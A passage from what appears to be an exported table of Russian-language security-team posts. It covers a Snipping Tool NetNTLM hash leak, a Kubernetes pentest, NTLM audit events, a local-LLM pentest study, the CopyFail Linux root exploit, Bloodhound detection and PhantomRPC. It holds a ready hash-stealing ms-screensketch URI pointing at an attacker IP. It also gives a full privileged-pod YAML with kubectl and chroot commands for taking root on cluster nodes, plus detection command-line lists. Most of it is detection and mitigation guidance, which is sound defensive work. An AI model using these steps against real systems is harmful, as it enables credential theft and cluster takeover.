Можно было бы загрузить на контроллер Rubeus или другие утилиты для дампа Kerberos-билетов, но после проверки идеи (1) мы поняли, что загрузить файл будет непросто.
Мораль:
Даже очень простая (на первый взгляд) задача "от RCE на контроллере до администратора домена" может иметь множество решений, если не пойти по первому пришедшему на ум пути. | 2 288 |
| 13 |  Snipping Tool, или просто "Ножницы" — популярный инструмент Windows для работы со скриншотами. Но благодаря появлению PoC к уязвимости CVE-2026-33829, этот же инструмент позволяет похищать NetNTLM-хэши пользователей. Правда, для этого всё ещё нужен клик жертвы.
Суть атаки:
Приложение регистрирует кастомную URI-схему ms-screensketch. Она нужна, чтобы из браузера или другого приложения открыть скриншот на редактирование. Проблема в параметре filePath. Если указать там путь до сетевого ресурса, например \\attacker\share\img.png, то Snipping Tool попытается сделать запрос к удаленному каталогу. А заодно отправит NetNTLM-хэш текущего пользователя на сервер атакующего.
Выглядит это примерно так:
ms-screensketch:edit?&filePath=\\192.168.100.10\snip\Imgur.png&isTemporary=false&saved=true&source=Toast
Теперь достаточно заманить пользователя на страницу с таким iframe или редиректом. Когда жертва соглашается с открытием картинки через Snipping Tool, открывается знакомый инструмент для обрезки картинок. А в фоне в это время утекает NetNTLM-хэш.
При этом утечка происходит не только на внутренние адреса, но и на внешние. А также не только через SMB, но и через WebDAV (см. скриншоты выше). Это делает сценарий атаки заметно гибче. В инфраструктурах, где SMB на публичные адреса фильтруется, WebDAV вполне может пройти через прокси или разрешённые HTTP-маршруты.
Как детектить:
Отличительной особенностью здесь будет выступать запуск SnippingTool.exe c параметром filePath, который начинается с двойного обратного слэша \\ или с его URL-кодированной версии %5C%5C:
"C:\Program Files\WindowsApps\Microsoft.ScreenSketch_11.2502.18.0_x64__8wekyb3d8bbwe\SnippingTool\SnippingTool.exe" ms-screensketch:edit?&filePath=%5C%5C192.168.100.10%5Csnip%5CImgur.png&isTemporary=false&saved=true&source=Toast
Также триггером могут стать исходящие SMB-запросы (445 порт) с хоста на внешние IP или на внутренние узлы, не являющиеся файловыми серверами домена.
Как защищаться:
Патч KB из апрельского апдейта Windows уже закрывает дыру. Если по какой-то причине обновить конкретную машину прямо сейчас нельзя, то есть смысл заблокировать схему ms-screensketch через GPO.
В качестве общих рекомендаций стоит упомянуть, что большинство приложений для взаимодействия с WebDAV-серверами используют системный сервис WebClient. Поэтому стоит обращать внимание на внешние соединения, инициированные через C:\WINDOWS\system32\svchost.exe -k LocalService -p -s WebClient, содержащие в user-agent параметр Microsoft-WebDAV-MiniRedir/* и метод обращения PROPFIND. Однако этот индикатор может быть шумным.
Также стоит рассмотреть возможность ограничения исходящего NTLM-трафика политикой: Computer Configuration > Administrative Templates > System > Net Logon > Network security: Restrict NTLM: Outgoing NTLM traffic to remote servers. | 1 775 |
| 14 | Мы уже рассказывали, как наши пентестеры находят и анализируют кластеры Kubernetes. А сегодня — история о том, какие интересные доступы можно получить через такие кластеры.
На одном из проектов после попадания во внутреннюю сеть мы обнаружили хост, у которого для сервиса на порту 443/TCP используется сертификат с common name: system:kube-apiserver. Похоже, это нода кластера Kubernetes c Kubernetes API?
К нашему удивлению, API было доступно без аутентификации (проверяли только GET-запросы). Мы смогли получить данные о неймспейсах, подах и, что самое интересное, секретах. Сделали вывод, что это тестовый кластер Kubernetes. Но мы решили, что он все равно достоин внимания:
proxychains4 curl -vk https://<ip_address>/api/v1/namespaces
proxychains4 curl -vk https://<ip_address>/api/v1/nodes
proxychains4 curl -vk https://<ip_address>/api/v1/pods
proxychains4 curl -vk https://<ip_address>/api/v1/secrets
Из секретов мы получили токены 31 сервисной учётной записи (да, без аутентификации). Изучили привилегии этих учёток (объекты clusterrolebinding и clusterrole) и обнаружили, что с их использованием можно выполнять любые действия по управлению кластером, включая изменение ролей сервисных учетных записей, создание подов и исполнение команд в подах.
Чтобы получить возможность исполнения команд на ноде, создали под с такой конфигурацией (контейнеры в кластере использовали образы из локального docker registry, так что в конфигурации мы указали один из используемых образов):
apiVersion: v1
kind: Pod
metadata:
creationTimestamp: null
labels:
run: <my-pod>
name: <my-pod>
spec:
volumes:
- name: host-filesystem
hostPath:
path: /
containers:
- command:
- sleep
- 2d
image: <link_to_image>
name: <my-pod>
volumeMounts:
- mountPath: /mnt/
name: host-filesystem
resources: {}
securityContext:
privileged: true
runAsUser: 0
dnsPolicy: ClusterFirst
restartPolicy: Always
nodeName: <node_name>
hostNetwork: true
hostPID: true
hostIPC: true
status: {}
Команда для создания пода:
HTTPS_PROXY=socks5://127.0.0.1:1080 kubectl --server=https://<ip_address>:443 --insecure-skip-tls-verify=true --token <token> create -f <pod.yml>
После создания пода запустили bash и изменили корневую директорию на корневую директорию ноды:
HTTPS_PROXY=socks5://127.0.0.1:1080 kubectl --server=https://<ip_address>:443 --insecure-skip-tls-verify=true --token <token> exec -it <my-pod> -- bash
chroot /mnt
Так мы получили рутовый доступ на ноде (для закрепления можно было положить ключ в authorized_keys). В кластере было четыре ноды, поэтому было создано четыре пода с разными nodeName для исполнения на каждой ноде.
После получения привилегированного доступа на одной из нод в файле /opt/some-service/config.yaml была обнаружена ссылка на файл в репозитории:
https://bitbucket.domain.local/projects/SERVICE/repos/service-back/browse/some/dir/config.java
А в директории /home/some-user/.ssh/ был обнаружен файл с приватным SSH-ключом identity.bitbucket.domain.local. Мы склонировали этот репозиторий и поискали в нем упоминания других. Нашлось 89 репозиториев.
git clone ssh://git@bitbucket.domain.local/SERVICE/service-back
grep -r -i 'bitbucket.domain.local' ./service-back
К тем репозиториям, что мы пробовали склонировать, удалось получить доступ с помощью обнаруженного ключа. Предполагаем, что далее мы могли бы найти больше репозиториев с исходным кодом приложений заказчика, и ко всем получили бы доступ с этим ключом.
Выводы:
Для команды красных: даже если вы понимаете, что попали в тестовую среду, не бросайте хост, осмотритесь. Может, найдете что-то полезное или расширите сетевой доступ.
Для команды синих: не забывайте про тестовые среды, их тоже нужно защищать.
Для всех: даже если вы думаете, что что-то невозможно (например, получение секретов из Kubernetes API без аутентификации) — стоит проверить. Вдруг оно сработает именно в этот раз. | 1 870 |
| 15 |  В Windows 11 версии 24H2 и Windows Server 2025 добавлены новая политика и события аудита NTLM. Расширенный аудит поддерживает улучшенный мониторинг безопасности и идентификацию устаревших зависимостей проверки подлинности NTLM.
Ранее в новых ОС Windows при установке с нуля стали по умолчанию включать различные методы защиты от релей-атак, такие как EPA, SMB signing и LDAP-Channel Binding. Тем не менее, при апгрейде со старых версий ОС настройки будут оставаться прежние, и атаки будут работать.
Поэтому обращаем внимание на новые события:
— 4020 (Informational)
— 4021 (Warning) "This machine attempted to authenticate to a remote resource via NTLM”
— 4022 (Informational)
— 4023 (Warning) “A remote client is using NTLM to authenticate to this workstation”
Эти события можно использовать для детектирования coercing-атак либо для анализа нетипичных настроек NTLM-аутентификации.
На скриншоте выше — как раз пример coercing-атаки: цепочка событий 4023 и 4021 с одного IP-адреса атакующего. | 3 463 |
| 16 | Одна из горячих тем этого года в кибербезе: использование LLM для пентестов. В новостях пишут, что новые модели с большой скоростью находят множество уязвимостей, поэтому сон мясных пентестеров становится тревожным.
Однако дьявол, как обычно, в деталях. В частности, использование облачных LLM для таких целей может быть сильно ограничено: как со стороны их владельцев (они боятся вредоносного применения своих нейронок), так и со стороны пользователей (они боятся утечки своих секретов через облачные сервисы).
А как насчёт применения локальных LLM для пентестов? Здесь тоже есть свои подводные камни.
Наш эксперт Ахмед Хлиф в своём исследовании проанализировал, как решают задачу поиска уязвимостей различные локальные версии популярных LLM (GLM, Qwen, GPT OSS, Gemma).
Для теста было разработано пользовательское веб-приложение с несколькими уязвимостями, которые позволяют осуществлять SQL-инъекции. Локально развёрнутым моделям нужно было определить конечные точки веб-приложения и обнаружить уязвимости, используя только собственные рассуждения и знания: у них не было доступа к RAG и к поиску в Интернете, но был доступ к некоторым MCP-инструментам, таким как Chrome DevTools.
Главный результат исследования: одна только скорость вывода не является надежным показателем эффективности работы AI-агента в реальных условиях. На качество результатов влияет целый ряд факторов, включая умение агента чётко выполнять инструкции. Некоторые нейронки делают то, чего их не просили — а это может быть опасно (как и неправильная работа с MCP-инструментами).
А вот модели, которые показали себя лучшими в пентестах:
— Лучшая модель в целом: GLM-4.7-Flash-UD-Q8_K_XL
— Лучшее соотношение скорости и эффективности: Qwen3.5-35B-A3B-Q8_0
— Лучшая детализация уязвимостей: Qwen3.6-27B-UD-Q8_K_XL
— Лучшая из маленьких моделей: Qwen3.5-9B-UD-Q8_K_XL
Подробности читайте в статье Ахмеда Хлифа "Пентесты с помощью ИИ: что умеют локальные LLM" | 2 726 |
| 17 |  На днях обнаружена серьёзная уязвимость CVE-2026-31431 (CopyFail) в ядре Linux, которая эксплуатируется во всех основных дистрибутивах. Уязвимость позволяет локальному непривилегированному пользователю получить права root.
Суть узявимости:
Криптографический алгоритм authencesn во время работы использует часть выделенной памяти в качестве «черновика» и записывает четыре байта прямо в страницы кеша файла. Это даёт атакующему возможность модифицировать кеш любого читаемого файла.
Эксплоит представляет собой 732-байтный Python-скрипт, который последовательно вызывает операции AF_ALG и splice для записи четырёх контролируемых байт в кеш, например, setuid-приложения. В результате модифицируется исполняемый код в памяти и запускается шелл с рутовыми правами.
Что делать:
Рекомендуется в первую очередь обновить ядро, а если это невозможно — отключить модуль algif_aead (интерфейс AF_ALG для AEAD).
Как детектировать атаку:
Артефакты запуска исходного эксплоита на Python можно увидеть на скриншоте выше. Запуск отслеживается по характерным командным строкам:
sh -c -- su
sh -c -- newgrp
sh -c -- passwd
sh -c -- gpasswd
sh -c -- sudo
sh -c -- chfn
sh -c -- umount
sh -c -- mount
sh -c -- fusermount3
sh -c -- chsh
sh -c -- su
Аналогичные строки могут быть и с другими setuid-файлами. Также можно отслеживать атаку по характерной цепочке процессов: Python запускает Shell.
Необходимо отметить, что уже появляются другие версии эксплоитов, детектирование которых может отличаться. Следите за подозрительными изменениями идентификатора пользователя родительского и дочернего процессов от неизвестных файлов либо файлов, нехарактерных для вашей инфраструктуры. | 5 966 |
| 18 | На днях обнаружена серьёзная уязвимость CVE-2026-31431 (CopyFail) в ядре Linux, которая эксплуатируется во всех основных дистрибутивах. Уязвимость позволяет локальному непривилегированному пользователю получить права root.
Суть узявимости:
Криптографический алгоритм authencesn во время работы использует часть выделенной памяти в качестве «черновика» и записывает четыре байта прямо в страницы кеша файла. Это даёт атакующему возможность модифицировать кеш любого читаемого файла.
Эксплоит представляет собой 732-байтный Python-скрипт, который последовательно вызывает операции AF_ALG и splice для записи четырёх контролируемых байт в кеш, например, setuid-приложения. В результате модифицируется исполняемый код в памяти и запускается шелл с рутовыми правами.
Что делать:
Рекомендуется в первую очередь обновить ядро, а если это невозможно — отключить модуль algif_aead (интерфейс AF_ALG для AEAD).
Как детектировать атаку:
Артефакты запуска исходного эксплоита на Python можно увидеть на скриншоте выше. Запуск отслеживается по характерным командным строкам:
sh -c -- su
sh -c -- newgrp
sh -c -- passwd
sh -c -- gpasswd
sh -c -- sudo
sh -c -- chfn
sh -c -- umount
sh -c -- mount
sh -c -- fusermount3
sh -c -- chsh
sh -c -- su
Аналогичные строки могут быть и с другими setuid-файлами. Также можно отслеживать атаку по характерной цепочке процессов: Python запускает Shell.
Необходимо отметить, что уже появляются другие версии эксплоитов, детектирование которых может отличаться. Следите за подозрительными изменениями идентификатора пользователя родительского и дочернего процессов от неизвестных файлов либо файлов, нехарактерных для вашей инфраструктуры. | 0 |
| 19 |  Инструмент Bloodhound был создан в 2016 году для поиска способов получения привилегий доменного администратора с помощью представления взаимосвязей между объектами целевой Active Directory в виде графа.
Несмотря на солидный возраст, Bloodhound до сих пор остаётся одним из популярных средств разведки и сбора данных в целевой инфраструктуре, и регулярно фигурирует в отчётах об инцидентах.
Эксперты из нашей команды SOC Consulting протестировали работу свежих версий этого инструмента и выяснили, по каким следам в логах можно выявить разные методы сбора данных коллекторами SharpHound и Bloodhound.pу.
Результаты вкратце:
— основные правила корреляции для обнаружения обоих коллекторов строятся на событиях 5145, но можно использовать и события 5712 для более точного детектирования;
— обнаружить работу обоих коллекторов также можно по LDAP-запросам с определёнными атрибутами, используя журналы 1644 «LDAP-Search»;
— поскольку события, необходимые для обнаружения коллекторов, генерируются в большом количестве и могут быть связаны с легитимной активностью, стоит обращать внимание на характерные последовательности запросов и операций, происходящие в течение очень короткого времени (нескольких секунд).
Все остальные ньюансы детектирования этого инструмента — в статье Степана Ляхова "Кто выпустил гончую. Ищем следы коллекторов Bloodhound в логах Windows". | 0 |
| 20 | Архитектура Windows преподнесла новый сюрприз, а точнее, новую поверхность атак в старой технологии.
Межпроцессное взаимодействие в Windows опирается на протокол RPC (Remote Procedure Call) — сложный механизм, в котором год за годом выявляются различные уязвимости. Вот и наш эксперт Хайдар Кабибо, давно изучающий безопасность RPC, нашёл новый архитектурный вектор локального повышения привилегий, получивший название PhantomRPC.
Суть техники: атакующий поднимает поддельный RPC-сервер, который отвечает на запросы клиента по тому же UUID/эндпойнту, что и легитимный сервер, а затем вызывает RpcImpersonateClient и получает контекст вызывающего процесса (вплоть до SYSTEM, в зависимости от сценария).
Ключевое условие: у процесса атакующего есть привилегия SeImpersonatePrivilege (как правило, доступная для учётных записей Network Service или Local Service). Именно в этом случае становится возможна эскалация до SYSTEM или уровня администратора, если легитимный RPC-сервер недоступен — например, когда соответствующая служба отключена.
Это не уязвимость конкретной службы (в отличие от семейства Potato), а следствие того, что RPC-рантайм не проверяет легитимность RPC-сервера и позволяет другому процессу зарегистрировать тот же эндпойнт, что и у легитимного сервера. В некоторых случаях требуются дополнительные условия среды (например, наличие определённой конфигурации GPO).
Все описанные в исследовании пути повышения привилегий протестированы на Windows Server 2022 и Windows Server 2025 с последними обновлениями, доступными на момент исследования. Автор отмечает, что уязвимость может быть проэксплуатирована и на других версиях Windows, поскольку она является проблемой архитектурного дизайна.
Что можно сделать до появления патча:
— минимизировать SeImpersonatePrivilege у нестандартных/кастомных процессов (удалять её, если она не нужна);
— по возможности включать легитимные сервисы, работающие на основе RPC, чтобы их RPC-эндпойнты были заняты штатными серверами;
— включить ETW-мониторинг RPC-событий и отслеживать ошибки RPC_S_SERVER_UNAVAILABLE от высокопривилегированных клиентов — это позволяет обнаружить попытки подмены до её реального выполнения.
Таким образом, уязвимость PhantomRPC открывает новую поверхность атак в Windows RPC и требует постоянного внимания администраторов и разработчиков приложений, использующих этот протокол.
Подробности с примерами кода и схемами эксплуатации — в статье "PhantomRPC: новая техника повышения привилегий в Windows RPC".
Этот доклад также вошёл в программу конференции Black Hat Asia 2026, которая завершается сегодня в Сингапуре. | 0 |
